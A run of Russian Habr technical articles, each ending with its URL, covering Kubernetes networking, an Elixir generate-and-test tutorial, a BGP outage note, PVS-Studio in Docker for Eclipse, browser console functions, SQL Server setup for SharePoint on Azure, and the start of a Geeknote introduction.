node% curl http://192.168.3.214
node% curl http://12.0.0.5
```
В выводе curl увидим стандартную приветственную страницу nginx.
#### **Заметки на полях**
В качестве заключения хочу описать пару важных моментов, о которые уже пришлось запнуться при проектировании системы. Связаны они были с работой kube-proxy, того самого модуля, который позволяет превратить разрозненный набор элементов в сервис.
**PORTAL\_NET.** Сущность сама по себе интересная, предлагаю ознакомиться с тем, как же это реализовано.
Недолгие раскопки привели меня к осознанию простой, но эффективной модели, заглянем в вывод iptables-save:
```
-A PREROUTING -j KUBE-PORTALS-CONTAINER
-A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
-A OUTPUT -j KUBE-PORTALS-HOST
-A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER
-A POSTROUTING -s 10.0.42.0/24 ! -o docker0 -j MASQUERADE
-A KUBE-PORTALS-CONTAINER -d 10.0.0.2/32 -p tcp -m comment --comment "default/kubernetes:" -m tcp --dport 443 -j REDIRECT --to-ports 46041
-A KUBE-PORTALS-CONTAINER -d 10.0.0.1/32 -p tcp -m comment --comment "default/kubernetes-ro:" -m tcp --dport 80 -j REDIRECT --to-ports 58340
-A KUBE-PORTALS-HOST -d 10.0.0.2/32 -p tcp -m comment --comment "default/kubernetes:" -m tcp --dport 443 -j DNAT --to-destination 172.16.67.69:46041
-A KUBE-PORTALS-HOST -d 10.0.0.1/32 -p tcp -m comment --comment "default/kubernetes-ro:" -m tcp --dport 80 -j DNAT --to-destination 172.16.67.69:58340
```
Все запросы к IP-адресу сервиса попавшие в iptables заворачиваются на порт на котором слушает kube-proxy. В связи с этим возникает одна проблема: Kubernetes, сам по себе, не решает проблему связи с пользователем. Поэтому придётся решать этот вопрос внешними средствами, например:
* gcloud — платная разработка от Google
* bgp — с помощью анонсирования подсетей
* IPVS
* и прочие варианты, которых множество
**SOURCE IP** Так же. при настройке сервиса nginx мне пришлось столкнуться с интересной проблемой. Она выглядела как строчка в мануале: «Using the kube-proxy obscures the source-IP of a packet accessing a Service». Дословно — при использовании kube-proxy скрывает адрес источника пакета, а это значит, что всю обработку построенную на основе source-IP придётся проводить до использования kube-proxy.
**На этом всё, спасибо за внимание**
К сожалению, всю информацию, которую хочется передать, не получается уместить в одну статью.
##### **Использование материалы:**
* [Архитектура Kubernetes](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/design/architecture.md)
* [Kubernetes user guide](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/user-guide.md)
* [Kubernetes ubuntu cluster](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/getting-started-guides/ubuntu.md)
* [Scaling Docker with Kubernetes](http://www.infoq.com/articles/scaling-docker-with-kubernetes)
* [Kubernetes services](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/services.md) | https://habr.com/ru/post/258443/ | null | ru | null |
# Техники в Elixir для начинающих: Метод проб и ошибок (перевод)
Перевод статьи [Coding A.I. Techniques in Elixir: The Generate and Test Algorithm](http://www.automatingthefuture.com/blog/2016/3/21/ai-generate-and-test-elixir)
В последнее время, я работал над проектом в области И.И. (искусственный интеллект). По моим ожиданиям, работа над этим проектом займет ещё значительное время. Цель состояла в том, чтобы написать проект 100% на языке Elixir, но прежде чем я смог принять это решение, мне нужно было удостовериться, что я смогу реализовать некоторые из самых популярных решений в области И.И. на Elixir. На протяжении нескольких дней я изучал некоторые из наиболее эффективных техник, которые применяют исследователи в области И.И. для решения проблем программными средствами.
В этой статье я сделаю краткое объяснение метода, называемого алгоритмом **генерации и испытаний — [Generate and test algorithm](https://en.wikipedia.org/wiki/Trial_and_error) (он же проб и ошибок)**, а затем я буду использовать вариацию этого метода для решения простой задачи с использованием языка программирования Elixir.
В И.И. есть много областей, из которых наиболее известными на сегодняшний день являются машинное обучение, обработка естественного языка (natural language processing) и робототехника. Тем не менее, для меня моя любимая дисциплина в И.И. известна как **автоматизированные рассуждения — [Automated reasoning](https://en.wikipedia.org/wiki/Automated_reasoning)**. Программа, которую я продемонстрирую попадет в эту область И.И.
### Проблема
Предположим, что вы получили задание написать программу, которая должна сформировать вопросительное предложение о том является ли сумма группы очень больших натуральных чисел четным числом, и затем сформировать ответ на этот вопрос. Давайте попробуем применить метод автоматизированных рассуждений для решения этой простой задачи.
### Решение
Алгоритм автоматизированных рассуждений лучше всего подходит для решения простых задач, как та, что приведена выше. Способ работы алгоритма довольно прост. Можно выделить 3 основных шага.
```
1. Сформировать возможное решение
2. Проверка того, что получено ожидаемое решение
3. Если решение верно, возвращаем его и завершаем работу, в противном случае повторяем шаги с 1 по 3
```
Имея в виду эту концепцию, давайте создадим умную программу, которая может ответить на вопрос: "Является ли результат х + у четным?". В этом упражнении мы будем заботиться только о четных суммах, так что, когда система обнаруживает, что результат подсчета суммы является четным числом, мы будем реагировать соответствующим образом подтвердив, что найден ожидаемый результат. Обычно, когда мы получаем истинный ответ, используя эту технику, мы должны были бы остановить всю обработку. Тем не менее, в нашем случае мы хотим только остановиться, когда все вопросы, подготовленные системой будут услышаны. И, наконец, на вопросы сумма чисел в которых является не четным числом, мы будем отвечать Нет.
### Код
При написании решения для этой задачи, я заметил, что код, который вы собираетесь увидеть, охватывает большинство основных возможностей языка Elixir. Так что, если вы никогда не использовали Elixir до этого момента, эти примеры кода дадут вам практическое представление о том, как работает язык.
Первый шаг заключается в создании модуля с названием `SumAndTest`, который будет содержать весь код реализации.
```
defmodule SumAndTest do
@moduledoc """
This script is designed to show the functionality of the AI Algorithm
that is known as Generate and Test. It will produce the results to a
addition question and answer whether or not the answer is even.
"""
```
* Elixit организует код с помощью модулей. СЛАВА БОГУ, НИКАКИХ КЛАССОВ!!!
* @moduledoc является макросом для добавления комментария, который позволяет дать краткое описание того, для чего предназначен данный модуль.
Мы должны ответить на вопрос: "Является ли результат х + у четным числом?". Так что давайте двигаться далее и создадим функцию, которая содержит этот вопрос.
```
defp addition_question(first_numbaer, second_number) do
"Is the result of #{first_numbaer} + #{second_number} even?"
end
```
* Мы определяем функцию `addition_question` с двумя аргументами
* Интерполяция в строке в Elixir имеет тот же синтаксис, что и в Ruby
Теперь у нас есть наш вопрос. Следующим шагом является определение двух возможных ответов, которыми наша система будет отвечать на вопрос. Мы будем использовать возможность Elixir давать альтернативные определения одной и той же функции в зависимости от переданных аргументов.
```
defp say_answer(true) do
"YES! Even result found."
end
defp say_answer(false) do
"No."
end
```
* Когда передан аргумент `true`, мы говорим "да", когда `false`, мы просто говорим "нет"
* Проверка соответствия аргументов является ключевой особенностью, которая отличает Elixir от большинства других языков программирования. Весьма подходящей для программирования искусственного интеллекта.
Мы создали возможность отвечать да и нет. Но что будет инициировать этот ответ? Нам необходимо определить, является ли результат на суммы 2 чисел четным числом. Создадим соответствующую функцию.
```
defp even?(number) when is_number(number) do
if rem(number, 2) == 0, do: true, else: false
end
```
Так же возможно переписать тело функции просто как `rem(number, 2) == 0`, что само по себе возвращает `true` или `false` (прим. пер.).
* Elixir имеет возможность определить валидацию аргументов функции с помощью ключевого слова `when`. Если аргументы не удовлетворяют условию валидации, то данное определение функции считается не подходящим и возможно будет применено одно из ее следующих определений (прим. пер.)
* В Elixir имеется аналог тернарного оператора в одну строку
* `rem()` является функцией Elixir, принадлежащий к модулю Kernel (ядро). Она определяет остаток от деления нацело.
Основные строительные блоки теперь готовы, но мы стремимся к созданию автоматизированных рассуждений. Мы хотим, чтобы система сама автоматически придумывала вопрос, так чтобы мы могли убедиться, что наша система действительно отвечает на этот вопрос правильно. Давайте создадим функцию `generate`, ответственную за это.
```
defp generate(amount_of_questions) when is_number(amount_of_questions) do
generate(0, amount_of_questions)
end
defp generate(accumulator, amount_of_questions) when amount_of_questions >= 1 do
question = addition_question(Enum.random(1..100_000), Enum.random(1..100_000))
build_list(question)
generate(accumulator + 1, amount_of_questions - 1)
end
defp generate(total, 0) do
IO.puts "#{total} addition questions generated."
:ok
end
```
* Вы растеряны? Не нужно. В Elixir обычно не используются циклы. Функции являются вашим основным инструментом. В случае необходимости повторно выполнять действия используют рекурсию.
* С помощью сопоставления аргументов (pattern matching) мы можем в методе `generate` принять необходимое количество вопросов и передать его в версию того же метода, но с двумя аргументами. Первый аргумент имеет значение 0, потому что это, где начальное значение количества уже сгенерированных вопросов.
* Второй вариант функция `generate` вызывается только тогда, когда она получает два аргумента второй из которых не меньше 1.
* Функция **`Enum.random`** принимает заданный диапазон и возвращает случайное число в пределах верхней и нижней границы этого диапазона. Это идеально подходит для нашей системы, мы не знаем, какие числа будут использованы. Это позволит отлично проверить правильность работы нашей системы!
* После того, как вопрос сгенерирован нам нужен способ, чтобы сохранить его, чтобы мы могли иметь возможность использования списка всех вопросов для проверки системы. **Для этого используется функция `build_list`, которую мы реализуем в ближайшее время.**
* Наконец в конце функции, мы вызываем снова функцию `generate`, на этот раз увеличивая аккумулятор (счетчик) на единицу, и отнимая единицу от общего количества вопросов, которые еще нужно сгенерировать.
* После завершения рекурсии наш счетчик вопросов должен быть равен 0, и мы выводим информацию о том сколько всего вопросов было сгенерировано.
Мы довольно близки к завершению. Но есть еще кое что важное. В функции `generate/2` мы вызывали функцию `build_list`. Почему нам это нужно?
Elixir имеет неизменные структуры данных. Это означает, что состояние не поддерживается за пределами текущей функции. Это отлично для программирования И.И., потому что все может усложняться очень быстро, если вы создаете систему с большой степенью изменчивости. В области, где вы могли бы иметь дело с астрономическим количеством не известных возможностей, вам нужно иметь некоторую согласованность. Эта согласованность — данные.
Мы создали эти вопросы, но нам нужен способ, чтобы сохранить их, так что система не потеряет их после того, как мы выйдем из функции. Вот где вступают агенты Elixir. Агенты в Elixir позволяют программе удерживать состояние. Это делает отслеживание изменений структуры данных с течением времени независимым. Использование агентов довольно просто, и они могут быть главной причиной, почему Джо Армстронг (создатель Erlang) говорит, что с Erlang и Elixir **"Вам не нужна база данных!"**. Давайте создадим агента, который в начале будет содержать пустой список. Этот список будет хранить наши вопросы.
```
defp start_list do
Agent.start(fn() -> [] end, [name: __MODULE__])
end
```
* Мы видим создание агента с двумя аргументами. Первый — функция, которая возвращает пустой список. Второй аргумент представляет собой список ключ-значений (keyword list). Функция получает имя от текущего модуля.
* (ПРИМЕЧАНИЕ) Всегда давайте имена своим агентам!
Здорово! Теперь, когда наш агент имеет возможность инициализации и может содержать состояние, модно двигаться далее и реализовать функцию `build_list` которая встречалась ранее.
```
defp build_list(question) do
Agent.update(__MODULE__, fn(list) -> [question | list] end)
end
```
* Функция принимает один аргумент — вопрос, и на самом деле `build_list` является оберткой функции `Agent.update`, которая принимает два аргумента. Первый аргумент является именем агента. Второй аргумент это функция, которая берет текущий список и добавляет текущий вопрос к новой версии списка.
Чтобы увидеть все вопросы, на которые системе необходимо ответить, нужно получить текущее состояние агента. Мы можем просто использовать функцию `Agent.get/2`. Назовем эту функцию **`questions`**.
```
defp questions do
Agent.get(__MODULE__, &(&1))
end
```
* `Agent.get` принимает два аргумента. Название текущего модуля, и короткую версию функции `fn(x) -> x end`.
Теперь нам нужно связать всю эту логику вместе, так что вся обработка может происходить в одном последовательном вызове функций (pipeline). Наш pipeline должен сделать следующее...
```
1. Получить все подстроки содержащте по одному числу из строки вопроса.
2. Преобразовать подстроки в целые числа.
3. Подсчитать сумму.
4. Проверить четная ли сумма.
5. Ответить "Да" или "Нет".
```
Здесь мы будем использовать pipeline оператор (или оператор конвейера). Этот оператор представляет собой мышечную ткань языка программирования Elixir, и это делает алгоритмы обработки И.И. гораздо нагляднее, чем они в были бы в LISP.
```
defp answer_to(question) do
Regex.scan(~r/(\d+) \+ (\d+)/, question, [capture: :all_but_first])
|> List.flatten
|> Enum.map(&String.to_integer(&1))
|> Enum.reduce(0, fn(n, acc) -> n + acc end)
|> even?
|> say_answer
end
```
* Оператор конвейера (pipeline) принимает результат вызова функции расположенный перед ним и использует его в качестве первого аргумента следующей функции.
Для работы с большими числами мы можем немного оптимизировать функцию `answer_to/1` изменив регулярное выражение, чтобы выбирать из строки вопроса только последнюю цифру каждого числа, так как четность суммы не измениться (следующих двух вариантов функции `answer_to/1` нет в оригинальной статье)
```
defp answer_to(question) do
Regex.scan(~r/\d*(\d) \+ \d*(\d)/, question, [capture: :all_but_first])
|> List.flatten
|> Enum.map(&String.to_integer(&1))
|> Enum.reduce(0, fn(n, acc) -> n + acc end)
|> even?
|> say_answer
end
```
Или используя модуль [Bitwise](http://elixir-lang.org/docs/stable/elixir/Bitwise.html) можем учитывать только последнюю цифру числа в двоичной системе (1 или 0). Оператор `^^^` вычисляет побитовую операцию XOR своих аргументов.
```
use Bitwise
defp answer_to(question) do
Regex.run(~r/(\d+) \+ (\d+)/, question, [capture: :all_but_first])
|> List.flatten
|> Enum.map(&String.to_integer(&1))
|> Enum.reduce(0, fn(n, acc) -> acc ^^^ (n &&& 1) end)
|> even?
|> say_answer
end
```
Теперь для того, чтобы пользователи системы, могли увидеть, что она делает давайте создадим функцию отображения, которая показывает вопрос, а также ответ на него.
```
defp display_answer_for(question) do
IO.puts(question)
IO.puts(answer_to(question))
end
```
* `IO` является главным модулем для работы стандартного ввода/вывода для устройств.
Наконец-то! Мы в последней части системы. Нам нужен способ, для того чтобы вызвать весь этот процесс. Нам нужна функция запуска, которая выполняет следующие действия...
```
1. Вызвать `start_list`, чтобы запустить агент.
2. Затем сгенерировать определенное количество вопросов. Давайте начнем с 20-ти.
3. Для каждого вопроса мы должны показать ответ на этот вопрос.
```
Вот как эта функция может выглядеть.
```
def start do
start_list
generate(20)
Enum.each(questions, &display_answer_for(&1))
end
```
* После того как агент запущен мы можем сообщить системе, чтобы сгенерировать 20 вопросов. Для каждого из этих вопросов, мы отображает вопрос и ответ на него.
Мы готовы! Что происходит, когда мы вызываем `SumAndTest.start`? Система производит 20 случайных вопросов с соответствующими ответами. Смотрите вывод ниже!!
```
$ iex
Erlang/OTP 18 [erts-7.3] [source] [64-bit] [smp:8:8] [async-threads:10] [hipe] [kernel-poll:false] [dtrace]
Interactive Elixir (1.3.1) - press Ctrl+C to exit (type h() ENTER for help)
iex(1)> c("sum_and_test.ex")
[SumAndTest]
iex(2)> SumAndTest.start
20 addition questions generated.
Is the result of 31956 + 95609 even?
No.
Is the result of 56902 + 37929 even?
No.
Is the result of 63154 + 23758 even?
YES! Even result found.
Is the result of 22268 + 66438 even?
YES! Even result found.
Is the result of 76068 + 36127 even?
No.
Is the result of 14158 + 84195 even?
No.
Is the result of 55174 + 13171 even?
No.
Is the result of 53028 + 68694 even?
YES! Even result found.
Is the result of 82027 + 39083 even?
YES! Even result found.
Is the result of 32349 + 70547 even?
YES! Even result found.
Is the result of 41416 + 37714 even?
YES! Even result found.
Is the result of 91326 + 32635 even?
No.
Is the result of 42663 + 21205 even?
YES! Even result found.
Is the result of 90054 + 71218 even?
YES! Even result found.
Is the result of 38305 + 69972 even?
No.
Is the result of 59014 + 3954 even?
YES! Even result found.
Is the result of 55096 + 34449 even?
No.
Is the result of 89363 + 16018 even?
No.
Is the result of 60760 + 12438 even?
YES! Even result found.
Is the result of 10044 + 47646 even?
YES! Even result found.
:ok
```
### Вывод
Это, вероятно, самый простой из всех алгоритмов искусственного интеллекта. Его простота это то почему я решил написать об этом алгоритме в моей первой статье на "Automating the Future". Я бы рассматривал возможность использования метода проб и ошибок, если бы я имел дело с проблемой, в которой фигурируют только небольшое количество возможных исходов.
Автор: Quentin Thomas
[исходный код](https://github.com/shhavel/automatingthefuture/blob/master/sum_and_test.ex) | https://habr.com/ru/post/310744/ | null | ru | null |
# Вы яндекс не видали?
Кто-то воспользовался недавней дырой в BGP?
Дело не в DNS и т.п. если сделать tracert то дальше пограничного маршрутизатора вашего провайдера пакеты не знают куда идти :) Все гораздо серьезнее.
Или атака, или халатность. Т.е. проблема также не связана с нагрузкой.
Прямо как солнечное затмение! Несколько моих серверов скрипты на которых связаны с ping-ами яндекса оттягиваются :)
**UPD:** Поехали!
`BGP routing table entry for 213.180.204.0/24, version 4871994
Paths: (1 available, best #1, table Default-IP-Routing-Table)`
правда пинг ужастный :) видимо сейчас у них будет пик посещаемости :) | https://habr.com/ru/post/40932/ | null | ru | null |
# Встраиваем PVS-Studio в Eclipse CDT (macOS)
После появления цикла статей о встраивании PVS-Studio в различные IDE под Linux ([Eclipse](https://habrahabr.ru/post/316670/), [Anjuta](https://habrahabr.ru/post/316720/)), появилось желание запустить PVS-Studio для проверки своих проектов, разрабатываемых в Eclipse под macOS. Но разработчики PVS-Studio пока не планируют выпускать версию под macOS. Ну что ж, заткнем пока эту брешь.
Дано:
-----
* macOS Sierra
* Eclipse Luna + [GNU ARM Eclipse Plug-ins](http://gnuarmeclipse.github.io)
* [GNU ARM Embedded Toolchain](https://launchpad.net/gcc-arm-embedded)
Задача:
-------
* Прикрутить [PVS-Studio](http://www.viva64.com/ru/pvs-studio-download-linux/)
Вариантов решения на самом деле несколько:
* Запуск Eclipse в виртуальной машине
* Проверка кода на другом компьютере с Linux
* Использование Docker
Остановился на Docker, т.к. виртуальная машина потребляла бы слишком много ресурсов, проверку на другом компьютере организовать теоретически можно, используя, например связку NFS+SSH, но, боюсь, это работало бы слишком медленно.
У Docker тоже были минусы. Вернее один жирный — я ничего не знал про Docker. На Хабре есть вводные статьи. С их помощью на реализацию задумки ушло полтора дня.
Быстрый старт займет буквально несколько минут. Понадобится настроить скрипты и Eclipce.
Скрипты
-------
Понадобятся пять файлов:
**run\_once.sh**
```
#!/bin/sh
echo "Fetching last timurey/docker-pvs image"
/usr/local/bin/docker pull timurey/docker-pvs:latest
echo "Testing"
/usr/local/bin/docker run -i timurey/docker-pvs echo "Ready to run"
```
**eclipse-pvs.sh**
```
#!/bin/bash
debug()
{
if [ "$debug" == "1" ]; then
d=$1
echo $d
fi
}
usage()
{
echo "usage: eclipse-pvs [[-w -n [-d]]| -h]"
echo "where args:"
echo " -w(--workspace) set path to workspace directory"
echo " -n(--projectname) project name in eclipse"
echo " -c(--config) config descriptor (Debug or Release)"
echo " -d(--debug) some debuging info"
echo " -h(--help) show this message"
}
clean ()
{
debug "Clean"
make -f makefile clean
exit
}
analyze()
{
debug "running command:"
debug "/usr/local/bin/docker run --security-opt seccomp:\"""$workspace/docker-pvs/strace.json""\" -v \"""$workspace""\":/root/workspace -i timurey/docker-pvs /root/workspace/docker-pvs/client.sh -n \"""$projectname""\" -c \"""$config""\""
/usr/local/bin/docker run --security-opt seccomp:"$workspace/docker-pvs/strace.json" -v "$workspace":/root/workspace -i timurey/docker-pvs /root/workspace/docker-pvs/client.sh -n "$projectname" -c "$config"
exit
}
while [ "$1" != "" ]; do
case $1 in
-w | --workspace ) shift
workspace=$1
;;
-c | --config ) shift
config=$1
;;
-n | --projectname ) shift
projectname=$1
;;
-d | --debug )
debug=1
;;
-h | --help ) usage
exit
;;
clean ) clean
exit
esac
shift
done
if [ "$workspace" != "" ]; then
if [ "$projectname" != "" ]; then
if [ "$config" != "" ]; then
debug "workspace path: \"$workspace\""
debug "project name: \"$projectname\""
debug "config description: \"$config\""
analyze
else
echo "config description is not defined" >&2
exit
fi
else
echo "project name path is not defined" >&2
exit
fi
else
echo "workspace is not defined" >&2
exit
fi
```
**client.sh**
```
#!/bin/bash
while [ "$1" != "" ]; do
case $1 in
-n | --projectname ) shift
projectname=$1
;;
-c | --config ) shift
config=$1
;;
esac
shift
done
if [ "$projectname" != "" ]; then
TEMPLOG=$(tempfile)
cd "/root/workspace/$projectname/$config"
# удаляем ошмётки `strace`, которые могут появиться в некоторых случаях:
pvs-studio-analyzer trace -- make -f makefile all 2>&1 | sed '/strace: umovestr:/d' -
pvs-studio-analyzer analyze --compiler arm-none-eabi-gcc -o "$TEMPLOG" --cfg /root/workspace/docker-pvs/pvs-studio.cfg
# удаляем непонятную строку, которая у меня появляется в выводе конвертера:
RC=$(plog-converter -t errorfile "$TEMPLOG" | sed '/The documentation for all/d' -)
rm -f "$TEMPLOG"
echo "$RC"
fi
```
**strace.json**
```
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "strace",
"action": "SCMP_ACT_ERRNO"
}
]
}
```
**pvs-studio.cfg**
```
exclude-path = /usr/arm-none-eabi/include
platform = linux64
preprocessor = gcc
analysis-mode = 4
sourcetree-root = /root/workspace
```
В Eclipse используется директория workspace, в которой хранятся проекты. Создадим внутри неё директорию docker-pvs и сложим туда все вышеуказанные файлы. Делаем исполняемыми скрипты:
```
$ chmod +x run_once.sh eclipse-pvs.sh client.sh
```
### Eclipse
Будем запускать анализатор во время компиляции. Желательно, что бы в контейнере и в Eclipse использовалась одна версия компилятора. В образе находится версия 5-2016-q3 (от 2016-09-19), так что загружаем и устанавливаем для macOS версию 5-2016-q3 (от 2016-09-28) c сайта [launchpad.net](https://launchpad.net/gcc-arm-embedded/+download)
В свойствах проекта и создаем новую конфигурацию на основе Debug
**Manage configurations**[](https://habrastorage.org/files/78c/526/52a/78c52652a04a4684afe2d3627ef1eb57.png)
*кликабельно*
Затем в опциях новой конфигурации:
**1.** Снимаем галочку "Use default build command
**2.** В Build command ставим следующую команду:
```
${workspace_loc}/docker-pvs/eclipse-pvs.sh -w "${workspace_loc}" -n ${ProjName} -c Debug -d
```
**3.** Отмечаем Generate Makefiles automatically
**C/C++ Build**[](https://habrastorage.org/files/ed6/746/7d7/ed67467d784e4cfabf02ccdb55f9141c.png)
*кликабельно*
Закрываем свойства проекта, делаем активной только что созданную конфигурацию и
**⌘+B**[](https://habrastorage.org/files/457/75e/88c/45775e88c82448e88dc642aa6af2a482.png)
*кликабельно*
### Как это работает.
Команда
```
${workspace_loc}/docker-pvs/eclipse-pvs -w "${workspace_loc}" -n ${ProjName} -c Debug -d
```
Запускает наш скрипт и передает в него следующие параметры:
* -w полный путь до workspace
* -n имя проекта
* -c директория, внутри которой будем проводить сборку
* -d вывод отладочных сообщений скрипта
Скрипт `eclipse-pvs.sh` после проверки обязательных параметров запускает docker
```
/usr/local/bin/docker run --security-opt seccomp:"$workspace/docker-pvs/strace.json" -v "$workspace":/root/workspace -i timurey/docker-pvs /root/workspace/docker-pvs/client.sh -n "$projectname" -c "$config"
```
Здесь параметров чуть больше:
* --security-opt seccomp: разрешает вызывать функцию strace внутри контейнера (отключена по соображениям безопасности). Подставляется полный путь до файла strace.json
* -v монтируем директорию workspace из macOS в /root/workspace внутри контейнера (здесь находятся необходимые client.sh и pvs-studio.cfg)
* -i используем образ timurey/docker-pvs, загруженный с hub.docker.com
* /root/workspace/docker-pvs/client.sh запускаем скрипт запуска pvs-studio внутри контейнера.
Для тех, кто захочет собрать образ сам:
**Dockerfile**
```
FROM ubuntu:14.04
RUN apt-get update && apt-get install -y strace software-properties-common cmake wget \
&& add-apt-repository ppa:team-gcc-arm-embedded/ppa \
&& apt-get update && apt-get install -y gcc-arm-embedded
RUN wget http://files.viva64.com/pvs-studio-6.11.20138.1-amd64.deb
RUN dpkg -i pvs-studio-6.11.20138.1-amd64.deb
RUN rm pvs-studio-6.11.20138.1-amd64.deb
RUN echo Asia/Yekaterinburg >/etc/timezone && ln -sf /usr/share/zoneinfo/Asia/Yekaterinburg /etc/localtime && dpkg-reconfigure -f noninteractive tzdata
```
Вместо заключения
-----------------
Казалось бы, Docker используют только web разработчики. Но это не так. Docker можно использовать и для разработки C/C++, в том числе под микроконтроллеры. | https://habr.com/ru/post/317518/ | null | ru | null |
# 5 функций объекта Console, о которых Вы не знали
Не все знают, что `console.log()` можно использовать не только для логирования, но и для еще нескольких полезных операций. Я выбрал 5 наиболее интересных методов использования Console, подходящих для повседневной жизни.
*Все описанные функции прекрасно работают в Google Chrome 38*
---
##### console.assert(expression, message)
Если значение первого аргумента ложно, система запишет сообщение из второго аргумента. Если утверждение истинно, ничего записано не будет.
```
> console.assert(document.querySelector('body'), "Missing 'body' element")
> console.assert(document.querySelector('.foo'), "Missing '.foo' element")
[Error] Assertion failed: Missing '.foo' element
```
---
##### console.table(object)
Эта функция отображает предоставленных объект или массив в таблице:
*Чтобы узнать о `console.table()` побольше, рекомендую прочитать статью Мариуса Шульца [«Advanced JavaScript Debugging with console.table()»](http://blog.mariusschulz.com/2013/11/13/advanced-javascript-debugging-with-consoletable)*
---
##### console.profile(name)
`console.profile(name)` выводит нагрузку на процессор в консоль. Можно использовать имя отчета в качестве аргумента. Каждый запуск сохраняется в отдельной вкладке выпадающего меню. Не забывайте закрывать отчет с помощью `console.profileEnd()`.
---
##### console.group(message)
`console.group(message)` группирует все логи после себя до момента получения команды `console.groupEnd()`. Списки могут ветвиться. `console.groupCollapsed(message)` работает аналогично, разница лишь в отображении.
---
##### console.time(name)
`console.time(name)` запускает таймер с именем, указанным в аргумента, который считает время до того момента, пока он не будет остановлен командой `console.timeEnd(name)`. Конечно, в обеих функциях нужно использовать одно и то же имя.
```
> console.time('Saving user')
> console.log('User saved')
> console.timeEnd('Saving user')
Saving user: 2.750ms
``` | https://habr.com/ru/post/253081/ | null | ru | null |
# Ферма SharePoint 2013 в Windows Azure. SQL Server 2012
Это продолжение цикла статей, посвященного созданию фермы SharePoint 2013 в Windows Azure. Первые главы вы можете найти по следующим ссылкам:
* [Ферма SharePoint 2013 в Windows Azure. AD DC](http://dplotnikov.wordpress.com/2012/09/28/%d1%84%d0%b5%d1%80%d0%bc%d0%b0-sharepoint-2013-%d0%b2-windows-azure-ad-dc/)
* [Ферма SharePoint 2013 в Windows Azure. SQL Server 2012](http://wp.me/p1dM47-k5) (эта статья)
* [Ферма SharePoint 2013 в Windows Azure. SharePoint 2013](http://wp.me/p1dM47-kS)
В этой статье рассмотрим, как добавить в домен SQL Server 2012 и дальнейшие действия для его настройки.
#### Создаем виртуальную машину с SQL Server 2012
В предыдущей статье мы рассматривали создание виртуальной машины через портал, в этой ограничимся созданием через PowerShell.
```
# Подписки к Azure
Get-AzureSubscription | Select SubscriptionName
$subscriptionName = "ВАША-ПОДПИСКА"
$storageAccount = "ВАША-АККАУНТ-ХРАНИЛИЩА"
Select-AzureSubscription $subscriptionName
Set-AzureSubscription $subscriptionName -CurrentStorageAccount $storageAccount
# Параметры облачного сервиса
$serviceName = "SP2013-Service"
$serviceLabel = "SP2013-Service"
$serviceDesc = "Cloud Service for SharePoint 2013 Farm"
# Список всех образов виртуальных машин
Get-AzureVMImage | Select ImageName
$sqlimage = 'MSFT__Sql-Server-11EVAL-11.0.2215.0-08022012-en-us-30GB.vhd'
$vnetname = 'SP2013-VNET'
$subnetName = 'SP2013Farm-Subnet'
$ag = 'SP2013-AG'
# IP адрес контроллера домена
$primaryDNS = '192.168.1.4'
# Группы доступности
$avsetsql = 'avsetsql'
# Настройки домена
$domain = 'contoso'
$joindom = 'contoso.com'
$domuser = 'administrator'
$dompwd = 'pass@word1'
$advmou = 'OU=AzureVMs,DC=contoso,DC=com'
# Создаем SQL Server1
$size = "ExtraSmall"
$spsql1 = New-AzureVMConfig -Name 'SP-SQL1' -AvailabilitySetName $avsetsql -ImageName $sqlimage -InstanceSize $size |
Add-AzureProvisioningConfig -WindowsDomain -Password $dompwd -Domain $domain -DomainUserName $domuser -DomainPassword $dompwd -MachineObjectOU $advmou -JoinDomain $joindom |
Add-AzureDataDisk -CreateNew -DiskSizeInGB 200 -DiskLabel 'data' -LUN 0 |
Set-AzureSubnet $subnetName
$dns1 = New-AzureDns -Name 'dns1' -IPAddress $primaryDNS
New-AzureVM -ServiceName $serviceName -ServiceLabel $serviceLabel `
-ServiceDescription $serviceDesc `
-AffinityGroup $ag -VNetName $vnetname -DnsSettings $dns1 `
-VMs $spsql1
```
Как только подготовка завершена, подключитесь к виртуальной машине с помощью службы удаленных рабочих столов и убедитесь в том, что она была автоматически присоединена к вашему домену.
Если не получилось, выполните подключение вручную.
#### Настраиваем диски
Скрипт выше добавляет диск с данными размером 200 Гб.
Подключите этот диск к операционной системе как было описано в предыдущей статье.
Далее приступим к настройке местоположения, устанавливаемого по умолчанию для базы данных. Для этого запустите SQL Server Management Studio, щелкните правой кнопкой по имени сервера, выберите **Свойства** и **Параметры базы данных (****Database** **Settings****)**.
Выберите новые диски для папок с данными, журналами и резервными копиями.
И нажмите **О****K**.
#### Обновляем параметры сети в SQL Server
Настроим протоколы для SQL Server и порты в брандмауэре Windows.
##### Настраиваем протоколы
Запустите **SQL** **Server** **Configuration** **Manager**.
Раскройте узел **SQL** **Server** **Network** **Configuration** и выберите протокол **Protocols** **for** **MSSQLServer**.
Убедитесь, что включены общая память, именованные каналы и протокол TCP/IP.
##### Настраиваем порт
Запустите брандмауэр в режиме повышенной безопасности.
Создайте новое правило для входящих соединений
На первом шаге нужно выбрать тип **Порт**
И укажите порт 1433
Выбираем **Разрешить все подключения**
На следующей странице оставьте значения по умолчанию, и далее укажите имя правила, например, *SQLServerRule**.*
Таким образом, мы подготовили SQL Server 2012 для фермы SharePoint 2013. | https://habr.com/ru/post/153453/ | null | ru | null |
# Geeknote — консольный клиент для Evernote
Приветствую, коллеги!
Хочу рассказать вам о нашем проекте — [Geeknote](http://www.geeknote.me/). Это консольный клиент для Evernote. Проект Open Source и исходные коды доступны на Github. Geeknote позволяет работать с Evernote из командной строки. Реализованы все основные функции Evernote — создание/удаление заметок, создание блокнотов и тегов, поиск, а так же редактирование через обычный текстовый редактор заметок в формате markdown. То есть можно использовать Evernote в bash скриптах, cron, любых приложениях, где нельзя использовать Evernote SDK. Расскажу подробнее про проект.
##### Идея проекта
Мы активные пользователи Evernote и используем его в наших делах, личных и не личных, а так же глубоко верим в удобство идеологии Evernote — храни все в одном месте. И раз Evernote это сосредоточение информации для нас, мы подумали, что было бы удобно его использовать и в целях сбора статистики серверов, которые мы ведем. Так пришла мысль написать простой клиент для командной строки, который можно было бы использовать в cron + bash скриптах наших серверов.
Что было и сделано. В результате использования нам в Evernote прилетает информация:
* критические и не очень ошибки на серверах;
